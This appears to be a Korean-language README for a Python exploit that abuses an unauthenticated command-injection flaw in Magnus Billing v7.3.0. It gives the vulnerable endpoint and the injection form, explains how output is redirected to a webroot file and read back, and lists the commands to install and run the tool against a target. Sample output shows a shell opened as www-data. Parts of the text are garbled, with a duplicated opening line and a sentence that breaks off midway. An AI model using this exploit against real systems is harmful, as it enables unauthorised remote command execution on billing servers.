
인증되지 않은 명령 삽입 취약점이 Magnus Billing v7.3.0에 존재합니다.
인증되지 않은 명령 주입 취약점이 Magnus Billing v7.3.0에 존재합니다.
icepay.php의democGET 매개변수가 삭제 없이 셸 함수에 직접 전달되어 웹 서버 사용자 권한으로 임의 명령 실행이 가능합니다. 주입은 블라인드입니다 — 출력이 HTTP 응답에 반영되지 않습니다 — 따라서 이 익스플로잇은 각 명령의 출력을 웹루트의 파일로 리다이렉트하고 HTTP를 통해 다시 가져옵니다.
/mbilling/lib/icepay/icepay.php?democ=;<command>;에 GET 요청을 전송합니다.out.txt)로 리다이렉트합니다.대상이 다른 웹루트 경로를 사용하는 경우 스크립트 상단의
OUTPUT_FILE을 조정하세요.
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -t http://TARGET
예시:
$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data